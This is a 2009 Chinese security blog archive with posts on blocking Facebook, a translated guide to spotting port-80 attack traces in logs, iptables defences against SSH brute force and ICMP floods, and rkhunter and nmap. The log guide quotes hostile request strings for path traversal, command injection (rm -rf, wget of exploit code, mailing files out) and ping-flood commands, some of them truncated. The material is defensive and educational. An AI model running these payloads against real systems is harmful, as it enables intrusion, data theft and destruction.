顯示具有 安全 標籤的文章。 顯示所有文章
顯示具有 安全 標籤的文章。 顯示所有文章

2009年12月11日

封鎖facebook

其實網路上看到的方法百百種
1.封鎖DNS紀錄
只能防止一般使用者
2.封鎖IP
其實可以用proxy原理的各種工具繞出去
3.封鎖URL
這似乎是個比較有效的方案,不過是屬於高層的,對於流量大的公司可能不合適
4. IDP(Intrusion Detection and Prevention)設備
比較昂貴,效果應該是取決於該硬體

2009年12月10日

[轉載]80埠web服務攻擊痕跡(LOG研究)

80埠web服務攻擊痕跡(LOG研究)

80埠web服務攻擊痕跡

作者: Zenomorph
翻譯:盈星滿月

I. 摘要
II.詳細描述
III. 更進一步
IV. 溢出分析
V. 編碼轉換
VI. 結論

[摘要]
web站點默認80為服務埠,關於它的各種安全問題不斷的發佈出來,這些漏洞中一些甚至允許攻擊者獲得系統管理員的許可權進入站點內部,以下是Zenomorph對一些80埠攻擊方式的痕跡的研究,和告訴你怎樣從日誌記錄中發現問題。

[詳細描述]
下面部分通過一些列子,展示對web伺服器和其上的應用程式普遍的攻擊,和其留下的痕跡,這些列子僅僅是代表了主要的攻擊方式,並沒有列出所有的攻擊形式,這部分將詳細描述每種攻擊的作用,和其怎樣利用這些漏洞進行攻擊。

(1)"." ".." 和 "..." 請求
這些攻擊痕跡是非常普遍的用於web應用程式和web伺服器,它用於允許攻擊者或者蠕蟲病毒程式改變web伺服器的路徑,獲得訪問非公開的區域。大多數的CGI程式漏洞含有這些".."請求。
Example:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

這個列子展示了攻擊者請求mosd這個檔,如果攻擊者有能力突破web伺服器根目錄,那麼可以獲得更多的資訊,並進一步的獲得特權。

(2)"%20" 請求
%20是表示空格的16進制數值,雖然這個並不代表你能夠利用什麼,但是在你流覽日誌的時候會發現它,一些web伺服器上運行的應用程式中這個字元可能會被有效的執行,所以,你應該仔細的查看日誌。另一方面,這個請求有時可以幫助執行一些命令。
Example:

http://host/cgi-bin/lame.cgi?page=ls%20-al│

這個列子展示了攻擊者執行了一個unix的命令,列出請求的整個目錄的檔,導致攻擊者訪問你系統中重要的檔,幫助他進一步取得特權提供條件。

(3)"" 請求
表示16進制的空位元組,他能夠用於愚弄web應用程式,並請求不同類型的檔。
Examples:

http://host/cgi-bin/lame.cgi?page=index.html

這可能是個有效的請求在這個機子上,如果攻擊者注意到這個請求動作成功,他會進一步尋找這個cgi程式的問題。

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

也許這個cgi程式不接受這個請求,原因在於它要檢查這個請求檔的尾碼名,如:html.shtml或者其他類型的文件。大多數的程式會告訴你所 請求的檔類型無效,這個時候它會告訴攻擊者請求的檔必須是一某個字元尾碼的檔類型,這樣,攻擊者可以獲得系統的路徑,檔案名,導致在你的系統獲得更多的敏 感資訊

http://host/cgi-bin/lame.cgi?page=../.. ... otdhtml

注意這個請求,它將騙取cgi程式認為這個檔是個確定的可接受的檔類型,一些應用程式由於愚蠢的檢查有效的請求檔,這是攻擊者常用的方法。

(4)"│" 請求
這是個管道字元,在unix系統用於幫助在一個請求中同時執行多個系統命令。
Example:

# cat access_log│ grep -i ".."

(這個命令將顯示日誌中的「..「請求,常用於發現攻擊者和蠕蟲攻擊)
常可以看到有很多web應用程式用這個字元,這也導致IDS日誌中錯誤的報警。
在你的程式仔細的檢查中,這樣是有好處的,可以降低錯誤的警報在入侵檢測系統中。
下面給出一些列子:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls│

這個請求命令執行,下面是一些變化的列子

http://host/cgi-bin/lame.cgi?page=../.. ... -al%20/etc│

這個請求在unix系統中列出/etc目錄的所有檔

http://host/cgi-bin/lame.cgi?page=cat%20access_log│grep%20-i%20"lame"

這個請求cat命令的執行並且grep命令也將執行,查詢出」lame"

(5)";" 請求
在unix系統,這個字元允許多個命令在一行執行
Example:

# id;uname -a

(執行id命令後,緊跟著執行uname命令)
一些web程式用這個字元,可能導致在你的IDS日誌中失敗的警告,你應該仔細的檢查你的web程式,讓你的IDS警報失敗的幾率降低。

(6)"" 請求
應該檢查你的日誌記錄中這兩個字元,眾多的原因中,首要的一個是這個字元表明了添加資料在檔中
Example 1:

# echo "your hax0red h0 h0" >> /etc/motd (請求寫資訊在motd這個檔中)

一個攻擊者可以容易的用象上面的這個請求篡改你的web頁面。比如著名的RDS exploit常被攻擊者用於更改web主頁面。
Example 2:

[url=http://host/something.php=Hi%20mom%20Im%20Bold!Hi%20mom%20Im%20Bold!

你會注意到這裡html語言的標誌,他同樣用了「〈」,「〉」字元,這種攻擊不能導致攻擊者對系統進行訪問,它迷惑人們認為這是個合法的資訊在 web站點中(導致人們在訪問這個聯結的時候訪問到攻擊者設定的位址,這種請求可能會被轉變成16進制的編碼字元形式,使攻擊的痕跡不那麼明顯)

(7)"!"請求
這種字元請求常用語對SS(Server Side Include) I進行攻擊,如果攻擊者迷惑用戶點擊被攻擊者設定的聯結,和上面的一樣。
Example:

http://host1/something.php="-->

這個列子是攻擊者可能會做的,它讓一個host2站點上的檔看起來是來自於 host1上面的(當然,需要訪問者訪問這個被攻擊者設定的聯結。這種請求可能被轉化成16進制的編碼偽裝,不易發現)
同時,這種方式也可以以web站點的許可權執行命令
Example:

http://host/something.php="-->

這個列子在遠端的系統上執行「id"的命令,它將顯示這個web站點用戶的id,通常是」nobody"或者「www"
這種形式也允許包含隱藏檔。
Example:

http://host/something.php="-->

這個隱藏檔.htpasswd不會被顯示出來,Apache建立的規則會拒絕這種以.ht 形式的請求,而SSI標誌會繞過這種限制,並導致安全問題

(8)"
在某些簡單的php應用程式中,它可能會在遠端系統上以web站點用戶的許可權執行本地命令

(9)"`" 請求
這種字元後面常用在perl中執行命令,這個字元在web應用程式中不是經常的使用,所以,如果看到它在你的日誌中,應該非常小心
Example:

http://host/something.cgi=`id`

一個perl寫的有問題的cgi程式,會導致執行id命令

[更進一步]
下面部分將討論更多的攻擊者可能執行的命令,連同被請求的檔,以及如果你有遠端執行命令的缺陷,應該怎樣檢查發現它。這部分只是給你個好的思路,並告訴你的系統發生了什麼,攻擊者嘗試攻擊你的系統的痕跡,但並不能列舉所有的攻擊者使用的命令和請求的方式。

"/bin/ls"

這個命令請求整個路徑,在很多的web應用程式中都有這個漏洞,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但 並不一定是個問題,也可能是個錯誤的警報。再一次提醒,寫好的web應用程式(cgi,asp,php...etc)是安全的基礎
Example:

http://host/cgi-bin/bad.cgi?doh=../../. ... n/ls%20-al│
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"

這是一個windows的shell,一個攻擊者如果訪問並運行這個腳本,在伺服器設置允許的條件下可以在windows機器上做任何事情,很多的蠕蟲病毒就是通過80埠,傳播到遠端的機器上

http://host/scripts/WINNT/system32/cmd.exe?dir+e:
"/bin/id"

這是個2進制的檔,它的問題和/bin/ls一樣,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。
它將顯示屬於哪個用戶和屬於哪個組
Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/id│
http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"

這個命令可以刪除檔,如果不正確的使用是非常危險的
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... %20-rf%20*│
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget and tftp" 命令
這些命令常被攻擊者用來下載可能進一步獲得特權的檔,wget是unix下的命令,可能被用來下載後門程式,tftp是unix和nt下的命令,用來下載文件。一些IIS蠕蟲通過tftp來複製自身傳播病毒到其他的主機
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.c│ http://host/cgi-bin/bad.cgi?doh=wget%20 ... antasmp.c;

"cat" 命令
這個命令用來查看檔內容,常用來讀重要的資訊,比如配置檔,密碼檔,信用卡檔和你能夠想到的檔
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... 0/etc/motd│ http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 命令
這個命令常用於寫資料到檔中,比如「index.html」
Examples:

>%200day.txt'>http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt│ >%200day.txt'>http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" 命令
列出當前運行的進程,告訴攻擊者遠端主機運行了那些軟體,以便從中得到一些安全問題的主意,獲得進一步的許可權
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... /ps%20-aux│ http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

"kill and killall" 命令
在unix系統這個命令用於殺掉進程,一個攻擊者可以用這個命令來停止系統服務和程式,同時可以擦掉攻擊者的痕跡,一些exploit會產生很多的子進程
Examples:

http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200│ http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

"uname" 命令
這個命令告訴攻擊者遠端機器的名字,一些時候,通過這個命令知道web站點位於哪個isp,也許是攻擊者曾今訪問過的。通常uname -a來請求,這些都將記錄在日誌檔中
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... uname%20-a│ http://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, etc..." 編譯/解釋命令
攻擊者通過wget或者tftp下載exploit,並用cc,gcc這樣的編譯程序進行編譯成可執行程式,進一步獲得特權
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.c│ http://host/cgi-bin/bad.cgi?doh=gcc%20P ... p%2031337;

如果你查看日誌中發現有「perl」 python」這些說明可能攻擊者下載遠端的perl ,python腳本程式,並試圖本地獲得特權

"mail" 命令
攻擊者通常用這個命令將系統的一些重要檔發到攻擊者自己的信箱,也肯能是進行郵件炸彈的攻擊
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... ker.org%20

"xterm/其他X 應用程式" 命令
xterm 常用來獲得遠端機器上的shell,如果你在你的日誌中發現這些符號,可要認真分析你的系統,可能已經存在安全裂口。注意在日誌中查找"%20-display%20" 這個字元,這種痕跡通常是在遠端機子上啟動xterm或者X應用程式
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... 2.168.22.1│ http://host/cgi-bin/bad.cgi?doh=Xeyes%2 ... .168.22.1;

"chown, chmod, chgrp, chsh, etc..." 等命令
在unix系統這些命令允許改變檔的許可許可權
chown = 允許設置檔的擁有者chmod = 允許設置檔的許可許可權chgrp = 允許改變組對檔的擁有許可權chsh = 允許改變用戶的shell
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... index.html│ http://host/cgi-bin/bad.cgi?doh=chmod%2 ... ndex.html; http://host/cgi-bin/bad.cgi?doh=../../. ... ter.passwd│ http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../. ... etc/shadow│

"/etc/passwd" 文件
這是系統的密碼檔,一般是shadow過的,並且不允許看到加密的口令,不過對攻擊者來說,可以知道那些是有效的用戶,以及系統的絕對路徑,站點名稱等資訊,由於通常被shadow過的,所以對攻擊者,通常會查看/etc/shadow 檔

"/etc/master.passwd"

這個檔是BSD系統的密碼檔,包含有加密過的密碼,這個檔對root帳號僅僅是唯讀的,而一些不熟練的攻擊者會打開他試圖讀取裡面的內容.,如果web站點是以root許可權運行的,那麼對攻擊者來說,就能夠讀取裡面的內容,對系統管理員很多問題也將接踵而來

"/etc/shadow"

包含有加密過的系統口令,對root帳號同樣唯讀,和/et/master.passwd差不多

"/etc/motd"

當用戶登陸進unix系統中出現的資訊,就在這個"Message of the Day" 檔中 ,它提供重要的系統資訊和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本資訊,攻擊者通常查看此檔,瞭解是什麼系統在運行, 對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權

"/etc/hosts"

該檔提供ip位址和網路資訊,攻擊者可以瞭解更多的系統中的網路設置

"/usr/local/apache/conf/httpd.conf"

這是個Apache web伺服器的配置檔,攻擊者可以瞭解諸如cgi,ssi是否可訪問等資訊

"/etc/inetd.conf"

這是inetd服務的配置檔,攻擊者可以瞭解遠端機器上的那些服務啟動,是否用了wrapper進行訪問控制,如果發現wrapper 運行著,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裡面的一些設置,獲得特權

".htpasswd, .htaccess, and .htgroup"

這些檔通常在web站點用於對用戶身份進行認證,攻擊者會查看這些檔,並獲得用戶名和密碼,密碼檔.htpasswd被加密過,通過一些簡單的破解程式進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)

"access_log and error_log"

這些是apache伺服器的日誌記錄檔,攻擊者常會查看這些檔,看那些請求被記錄,那些和其他請求不同的地方
通常,攻擊者會修改這些日誌檔,比如他自身的位址資訊,攻擊者通過80埠突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程式記錄系統狀況,這將使入侵檢測工作變的很困難

"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"

Windows NT系統中的密碼檔,如果遠端命令不可以執行,通常攻擊者會請求這些檔,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼檔,如果成功那麼遠端機器將被攻擊者得到控制權

[溢出 分析]
我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩衝攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現
下面是個簡單的列子
Example:

http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

這個列子展示了攻擊者對某個應用程式發送很多的A字元,來測試程式的緩衝溢出,緩衝溢出可以獲得遠端主機的命令執行許可權,如果是具有 setuid和屬主為root的程式,通過溢出,可以得到整個系統的訪問許可權,如果不是setuid之類的程式,那麼溢出僅僅是得到運行該web站點的 用戶許可權
這裡並不能講述所有的情況,不過你應該有定時的檢查你的日誌檔,如果那一天突然發現很多的請求,而平時的請求不多,那麼說明你正遭受到溢出的攻擊,當然也可能是一種新的網路蠕蟲的攻擊

[編碼轉換]
以上提及的所有攻擊請求,攻擊者通常知曉IDS系統常會機械的檢查這些請求,通常是攻擊者會用編碼轉換工具將所請求的內容轉化成16進制的格式, 導致IDS會忽略這些請求,我們熟知的CGI漏洞掃瞄工具Whisker就是個很好的列子。如果你在查看日誌的時候發現大量的16進制和不常見的一些字 元,那麼可能攻擊者嘗試用一些方式對你的系統進行攻擊
一種快速發現的方法是,將你的日誌檔中的那些16進制的請求,拷貝到你的流覽器中,通過流覽器可以轉化成正確的請求,並顯示出來請求的內容,如果你不敢冒這個危險,簡單的man ASCII,可以提供給你正確的編碼。

[結論]
這篇文章不可能覆蓋所有的80埠的攻擊,但是以上已經列舉了大部分普遍的攻擊方式,同時告訴你如何檢查你的日誌檔,和怎樣加如一些IDS的規則, 寫她的目的在於給web系統管理員應該關注什麼提供一個好的思路,同時,我也希望這篇文章可以幫助給web程式的開發者寫出更好的web程式

作者註:如果你有什麼註解和建議,請發電子郵件
niska@21cn.com

http://bbs.ccidnet.com/showthread.php?threadid=207099

2009年11月30日

防火牆-iptables與密碼攻擊(5)

因為總是有人安全防護做的不好,所以就變成了跳板,cracker就拿這些跳板吃飽沒事情就是進行網路的port scan或者密碼猜測(使用類似字典檔)的工作,反正對craker來說,這些資源不用錢,找到新的機器還可以打包一下賣錢orz
當然在進行密碼攻擊之前他們會先對機器做一些port scan,找出可以猜測密碼的服務,比方說pop3或者ssh。
對pop3可利用string的配合,當大量出現Authentication的錯誤字串的時候判定為密碼攻擊(比方猜錯十次)。
但是ssh因為加密了,如何辨識這樣的錯誤呢?只好繞路,以ssh retry的次數(在sshd_config加入MaxAuthTries,給定次數),接著追蹤syn封包進入的次數,最大iptables能在一段時間內容忍MaxAuthTries*the number of syns,兩者的乘積,比方說四次的syn連線,每次只能猜測密碼四次,如果在短時間內發生就是密碼攻擊
iptables -A INPUT -p tcp --syn --dport 22 -m recent --name ssh --update --second 600 --hitcount 4 -j DROP
iptables -A INPUT -p tcp --syn --dport 22 -m recent --name ssh --set
不過這樣的方式也有缺點,比方說如果你在十分鐘內建立了四個ssh連線就會達到連線的上限,這可能會為操作上帶來一些麻煩 ,除了程式設計師之外:P對一般的管理者比較沒關係Orz

2009年11月29日

防火牆-iptables對ICMP DoS(4)

在DoS跟DDoS的一篇,大概描述了ICMP的DoS如何運作,知道他的原理就可嘗試利用防火牆來減低這樣攻擊的傷害
對ping broadcast的方式可以
iptables -A FORWARD -i eth0 -p icmp -m pkttype --pkt-type boradcast -j DROP
拒絕所有的ICMP broadcast要求

對於大型的ICMP封包可以用以下方式,只接受合法的92 bytes的ping封包
iptables -A INPUT -p icmp --icmp-type 8 -m length --length 92 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 8 -j DROP

對於小型眾多的ICMP封包可以用,只允許每分鐘六個封包,最多10
iptables -A INPUT -p icmp --icmp-type 8 -m limit --limit 6/m --limit-burst 10 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 8 -j DROP

其實DDoS或者DoS不能完全排除,只能求助於ISP業者,因為對外的頻寬一定會被佔據,上面的作法可以保持內部網路的順暢運作,卻無法防止外部資源的消耗

DoS and DDoS

從wikipedia解釋
分散式阻斷服務攻擊,亦稱為洪水攻擊,通常簡稱為DDoS或DoS,即英語「Distributed Denial of Service」的縮寫。顧名思義,即是利用網路上已被攻陷的電腦作為「喪屍」,向某一特定的目標電腦發動密集式的「拒絕服務」要求,藉以把目標電腦的網路資源及系統資源耗盡,使之無法向真正正常請求的使用者提供服務。駭客透過將一個個「喪屍」或者稱為「肉雞」組成殭屍網路(即Botnet),就可以發動大規模DDOS或SYN洪水網路攻擊,或者將「喪屍」們組到一起進行帶有利益的刷網站流量、Email垃圾郵件群發,癱瘓預定標的受僱攻擊競爭對手等商業活動。
最簡單的方式是sync flood的方式,透過3-way handshake的模式來消耗系統資源,不過另外有ICMP的模式,ICMP主要透過大量的ICMP封包攻擊某個區域或者電腦,舉例來說ping這個指令就可以攻擊,只要透過適當的來源位置偽裝
比方說ping -b 192.168.5.255,可以用單一封包要求該區段的網路回復該ping封包,如果填上假的來源位置,就可以讓某個區段的網路回傳一堆ICMP封包給該來源,進而達到ICMP的DDoS功能,這種攻擊的好處是不用大量的佔有主機就可以進行攻擊。其實現在的網路已經開始拒絕這樣的要求
其實ICMP進一步還有分別攻擊的方式,比方說ping -f -s 16384 192.168.5.222,對該主機傳送大量的大size的ICMP封包,進而達到癱瘓他網路流量的目的。另外一種ping -f -s 0 192.168.5.222,傳送一個幾乎只有標頭的ICMP封包,消耗該主機的cpu資源。上面兩種方式的特色是,攻擊者具有大量的頻寬或者cpu資源

2009年11月16日

rkhunter安全工具

因為linux本身有權限的管理,所以不像XP,啥動不動就是administrator,這樣一來要對linux直入病毒跟木馬來大肆破會難度就增高了,所以一班入侵linux跟xp不一樣,就是想辦法取得root權限,就可以為所欲為:P 這樣的工具叫做root kit,是一堆常見的hacker跟craker在用的工具,當然,他山之石,可以攻錯,就有人利用這樣的原理寫出了偵測工具,就是rkhunter

rkhunter可以偵測哪些漏洞呢?其實鳥哥的網站有介紹,簡單擷取如下
  • 利用 MD5 指紋分析
  • 檢查 rootkit 經常攻擊的檔案
  • 檢查是否具有錯誤的檔案權限--針對 binary files
  • 檢查隱藏檔案
  • 檢查可疑的核心模組(LKM/KLD)
  • 作業系統的特殊檢測
  • 檢查已啟動的監聽埠號
  • 特定分析(String scanner)
使用ubuntu安裝很簡單就是apt-get install rkhunter就可以了,他還會幫你加到每天的例行工作內哩,所以你每天就可以收到熱呼呼的rkhunter報告

安裝完畢第一件事情就是
rkhunter --checkall
我建議第一次不要加入--skip-keypress這個參數,好好的把rkhunter做的事情看一遍,有助於理解安全性。我就被抓到一個忘記把ssh的root login的參數設定為no,印象中當時因為某件事情把設定打開就忘記關閉了~囧rz!!
另外一件重要的事情就是要更新阿,沒更新的rkhunter大概跟沒更新病毒碼的防毒軟體一樣,是會過期的,可能會拉肚子阿XD
rkhunter --update
這個指令用來更新

2009年11月15日

nmap簡介

上一篇有提到nmap,它的主要功能是拿來scan port,所以現在來看它是怎樣使用,簡單的用法就是nmap host,這做法是掃描某個host上面的TCP port,如果要連帶掃描UDP則是 nmap -sTU host,結果跟下圖一樣
看到的結果跟我自己想的差不多,除了5353那個zeroconf是啥,說真的到是不知道,不過上網找了之後,似乎也是個無害的服務(?)
接著比較一下netstat的結果,幾乎是差不多的
多了一個57990的port #,從process name來看,好像也是zeroconf的同一掛的

nmap其他參數的用法簡列如下
-sT:用TCP connection掃描
-sS:用TCP syn掃描
-sP:用ping掃描
-sU:用UDP掃描
-sO:用IP為主的protoco進行掃描
-O:除了port scan之外,偵測作業系統類型
-A:除了-O之外,連使用的套件都加以進行偵測

上面的-sP是一個很好用來偵測區域網路哪些主機存活的工具(雖然未必準確,因為主機未必對ping有回應),nmap允許做區網的掃描,比方說對class C的192.168.1.0區域網路掃描
nmap -sP 192.168.1.0/24

nmap有些做法其實很暴力,很容易被人家知道你在進行port scan,所以如果拿去掃描別人的機器很容易招來麻煩,這樣也好,本來這軟體就不應該被濫用